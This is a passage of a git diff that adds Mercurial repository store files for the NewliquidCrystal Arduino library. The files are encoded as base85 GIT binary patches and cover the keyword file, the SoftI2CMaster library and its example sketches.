z1~oMr{n66~>uzsrgOveL_~6VQXp$-JKx_(ZxqfZmul{*F&j9S^*k}kkK>-2*j1R63 z9xVVM^g*K_T*VWOhVzrqlI77_>xgD2&xww2i~Zv~sz+BF#zv#@W=2LUYAPyygDk3j z)te?pqmjsK&g!ZFH#PJW1eIX;@r4)v$4l756U1K<)Hmr&^II}?V&}?X-0>hD&Zv2V zsz>(!0!r({g2o=YPw36eEv)U$X$%#_B@ExHaT;PHNCf)`MEdwJ`!T|Lkm!eoiueYp zda=Z8m~eJ!Bq>{Qr1N6vvtQ6h#y@x{$Jil6Ircs~&%r2p<4(EV&JdWRnDat6qQ-;i z3?(h`g@jnD?e-euq!*23_{i#H6~=N~fbzqgM6#XVIUu z#VFvwH63A9{Gm#;%$#WO$V(+;pY+o!5BzXlRbujy%ZcZtc$>|v6r3S8NkoSv43~9I z-_VGiW4QAE)@^JNh}06D;+;p~X&PN%;glyWBLYuk@ECsihm0NlOGNC0Mn`1K>)hTu zT^OqMvfb!xo95Kww)Gz6ALpNXtcRZuo&R4CvRvYbdLSx&Xd@4!vW~Jd`rQv24cq|^GLd2{{3;+O+GQxV0>W7AbSjxcQ)RAVPmzBk| z+Bhz4jyAo++nGnkKR|2%qot9yHm_JeKT&-{Lp~r68<<^#cByw3xHR6!mw_Y6K*rkD z)`r}TtJ$AoErQlp*`MML=gVa-#O4)B3Cc}j9+ph#28Qt&=``aCfPPKe;JExV$i2K>DpW@_zuSoYyJ< literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/keywords.txt.i b/libraries/NewliquidCrystal/.hg/store/data/keywords.txt.i new file mode 100644 index 0000000000000000000000000000000000000000..35830b18d1533dfd5e418148d5454f4c63faadab GIT binary patch literal 1598 zcmZuw4K$Ql7{1^9?aYKT`AKQjNE@L+&2DVWnv#=a8Vu2BrllfNYG)=yYZKM@35OXp zG)Y?`i*=B{rZrP&5QR#LU5($`J;}C`wXxs#HPva)zURE(^PGF0^S#e~?!5p45I_rB z1puz%9S6h(U6Fh-nwp-nF^#0e%xg|d(bxVmq0^ucqsWn|*{2*RlDmHz%Y@yRl4Qv6CT5 z1oA9HBgyMF4D_B$`(nJ~is$_?V=-INx_f86a*)9o$eEqqF%Vn87e@62ahx8qxCXno z)7Q5%eUj4g70Vy#H?B!JmXXuaA`RkbxVbK80-jULbB5Mz+Z1OM5}Mvnb3;39b11HM z;)XA$N#ZgW(cMAV+g;ZCcz=9JxxP)*U;JcKaxbUWoX=u4behcDRZQehPLsV;7pzwj z9Cm<3Xw$(+?R6HK3zmzql7D0{~e^{a!3edi+pm9C-a~Yu#+} zF4qzHXqHZc!Uwer4t?*idl<}J`U%*9%TUdBg=4OtGr_cvF?X&zOlDHr!Gjta{O2+It>aR{D!Mk zs^D=McV~W{mgmpqN##Z>KX1MYaKBb$J)LLLB)pQU0*@{#7tgMDxn~?teSy!vf8xgg zh(I~;gMx4D09hGaPduqd(%i=C(>+9sjyOssK?yAY5^ycI^k)fG}d%BWbo=ab5<$xx_O4(vD${=6*qD8e)0n~CIJMp=G_NkOC{dy{LhL|!lbIbPkF$rxE_*oXw^DpH@YApZ& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_r_e_a_d_m_e.md.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_r_e_a_d_m_e.md.i new file mode 100644 index 0000000000000000000000000000000000000000..f177c1e0eee8b94b291c50488dbaa00136d27493 GIT binary patch literal 468 zcmV;_0W1Ch0RRC20000000EQ$00N8v00000006@O|NsC0|NsBNPXDFcB0%2Bh1@#s zF3M|lsiH&x00000000000001ZoJ~*2@fZtDY+LFxqX^m3E}6RK15_ zh_xY!5(A>YzBZj%Ekc0E^ZRm_Mt=VEc(s+Wn6K|IV>&t9Y(WqNT*|OeOc1Cqw(Q3I z_EbS`3oDi#Mxg*32LVi;&l~Cs>N|?_e5kxJY=xLH0!6U3;@k%;C)hkWue`mjI6#W< z6Lso)z@_XT>Kmm|S2r&3%=t^(`ZQy<6E@;4BMy!8ZPxMem~QP_&iDDo^BhbA&kW8+ zSSpJB9WuqLs``ET^9!7(44hynv?8!a=$<> zNe*I?K9-zQVdxhDmY%p+rWDnMu_2_b!k7xUklZU&F36%EC+K&m!HR(aS8}Q%tTxni zcpoI9W6&Y9WU)UUMztUjIsrA<$n*c-yKU{*V~~ZVO?EKgNRb%BE^)rCvKJ}g;rin* z)LnASLbIpkkeg7_f>@7rlz>Oms`>dNyh^0DqC3f&%pI@Q5^ISRbr;qlY{VYAtM+h< K)cgYqy5b*psNrJ( literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_soft_i2_c_master.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_soft_i2_c_master.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..8baf80418fb714fc76428d479e5d29b5e8c29421 GIT binary patch literal 1845 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_b_m_a020_soft/_b_m_a020_soft.ino.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_b_m_a020_soft/_b_m_a020_soft.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..230b11b200d0ee2be53a03bb6f04e2141498d6ad GIT binary patch literal 822 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 YR6Bfu3%O0{)r@8<++ywf3#YrF=QmIa_5c6? literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_i2_c_scan_soft/_i2_c_scan_soft.ino.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_i2_c_scan_soft/_i2_c_scan_soft.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..0e16537aee400a49dc7b80c574539fb12ec298c1 GIT binary patch literal 862 zcmV-k1EKr?0RRC20000000SNX00>6_00000006@O|NsC0|NsB#r?EBCgGYPF~2%~ul6Qv>McVf&z z^K_ zqo981*N@-;%#_2F>3G4kbpSIVQ&1A>I-U!u(qbCIM>HH3(-1yGL$luN=SA)L$hnZ? zWFB)k?Wu`Dz$Hr!*X8N?#umHNzEEUyeE;B|KF*yIF(7ljL@gR>AzdL2OxW0ipALZU zLy8*^;||QU8uK*8-WlBkBM>40!ix``E}X&e-6xm6!^o=@ZuBZ1Jgip%!j=d`xoi?C zH}jcGpA>snOsv{FXUG(6Wk?#=oLw$sF>!FO$F*QddBkspbSrPG0eYs)$5SS6IgHpm z*359~g6d%qkl0A^S0Pyfiz$~t6=DFGX#Qt!E@@$El zIK*Hx#XMp6FjjMk5l*1=2!`&c3mVZy{mU?H52*Dm2+MVMM0GqAQW)3sz*1P0iO5o6 zMqnXaYo*K7lz_Tm%K`N@7L=#Rla&9#6V?$c$t`f1Ymg|FOW=_Fcp=R3&;W~L)G@Gm zQhQ*1WSB7YUQl6)hK*ctRdWg;kUhr-BVpi;ePa}zF^1w9eUGz=#kh)? z8<&!Luy?8()f=9dgJ6}O(Q{tQZFG#>xn%St`3Ab@G z@p3&DS{Ul4jdpleo9k|?AN_?mPswmiaZhqyX!|8ntk8vG*!2E8HC~`jJ~=F{UcoKD oQjiTM`?t5SqVYvnvVqg!M&8J*Tsz8K{96ZpHgK2DFZYU5>DKR`6951J literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_m_l_x90614_soft/_m_l_x90614_soft.ino.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_m_l_x90614_soft/_m_l_x90614_soft.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..3aea2cb0a81532ae523f10f0144823e1dd0120c1 GIT binary patch literal 805 zcmV+=1KRum0RRC20000000QLz00tcZ00000006@O|NsC0|Ns9uYY`&FouSJ%ct;zy z`!LyvbCtXR00000000000001ZoSjtPZ`v>rejb0tiAqz_AA!)Zwu4S$KsThaO@O++ zMJBm`)nFsrq3fpo?>jqbNKyB&`2mH`ci-K8zPnZn6tYBv%ng_|!u0n0Rr_uD2DnHS zQ@g#JJ!ITtcmzi%8Rm~w$I9}S|fUuFxiKcnaHTx& zh88BnZY|7Qre@L^PMN0oHW-~J`_cGrG8}`~{?Q%u`=M{|c9JKc(d1jt|3y40cu_RC zn?-}!@KY24Twg=ihgJ(V$b^Q$VmkgffX1siD$cTCi7PI=@T${p`@IU?DlSYWyyo08 z2SL!J%OeyCPaCgzCyuz_#v|-^nL#F{O91GQDYW*DE zV!Q_mlp<@xl<|oFgk*}o%_fVn->YsP6gNl$wJ%DrRXliQpm2LYF&hs?rEx92!j>go z$})|9kBDaU7eZJ*8U!X>qX?3ozF2&}_b&_iFM^`v%GIbGYsG0}MXu@5YAx1WLoCG( zmC@irTV`8>4Wq%x721w=@K(tfwYD&Bwy2oN6`sO${sD-F0V*XGEV*&k1o4%Sb|zAS zt&1+ol=(742i&mO&>cNf(C*k8-3LAYN+E@z7;sDM9yOn)SR15wRj6f_8!iRN^w|*l zhx8*7)b&xDj-&sHN>;;b^{(25#y55*7KJShP+@~H->?j}l8oxofzxio^gV5Zv`Azx zK$)3S)GB#eyw*nUs4TkAFg0*#O|=t?CA3tm$CLDd3sWn?E9&w+&)fIOYggOFjSu}k zT>5ZQ^!x9i)M8<+kam`KI|TFrzr`^WOB~)p7)%AX-8qa2}0tz3x`P^yph*xCmT^5{IyqZ z7JJ|9h5g_R2qXCEcFB6@$8oSHl-!kTKoEO6ocHI0uLN#FaN=<3IE&f9a_7rQqS2_1 z>vopk(|2L@lj5^S1JNln7i)hXkkxO(et@V=p7&k*sZ7^;9r7;u**`~z3!+y`utrzv zi9CHTUzGpq?_YvbUJbp)@?3lBQlil}LxR!CSe&sg0Qr<8*JON1gOo;xgDaZZOlu_} z?q@Qb5^Bbh01it0!^2eW>g1*7|fuR7gNa#V(_p!Wja&xB9Rwv77QKKykLf2 z&4nq|F~N**UG)Q$4w;S^J-=X>igQ5>x~aZ?V5W)}%m}M929m3IG0^!ayudwIvw{#5 z%F!lkp{sbQfv_tGDE-RJ|2KmWwEE_frHYk*L!=i_|K)tR+xk&V&b#N}v^(rK_~z+9 zTAn+yJ>Zi?&K9P;+`$QB;=f()EaIPu8xi2YPUH)bR2cOr=jj@i{#u$PDdd3~*Dr2r zB`IW@+yLW-Xa!@pL^01FKO00000006@O|NsC0|NsAZi}kEKMh+ygos|k5 z`sLNYuaSNL00000000000001ZoUN8$Z{kJ}z~B8TCRDoG$pvf^2rUGOLast3y%VNt zpNb4#U=_1#+3SR~$#?JU`d=K|CmtFl*v!oSW_D(0Hk}SQk3?(_AUKdy;Pa4xI1upT zBV|0I;sqkYA|ArZS=hb41^Ol=?jw%{Y`7bGuz7)r=kCIo3PaO=@W_rb0?ur*{`Pgb z0{Jm3i|4;Xw~$O1wT4oRhCM`5w)JC=z{ue{F}J4=ZX`(9K8y=hD~(QCv=6N!j>&Ac z1oL!jYg(ss{lETbF^lM)5f6OM_ORv0AQog1pY#ukgUcB4&CgIPw~T)^0Q~J-!h`!r zAd1r(q=}~y`%ysTia2xy@h;%9gVr%+!s@RDY<(K64k3vS-1p!vtJ8YAn190z{<^*~ 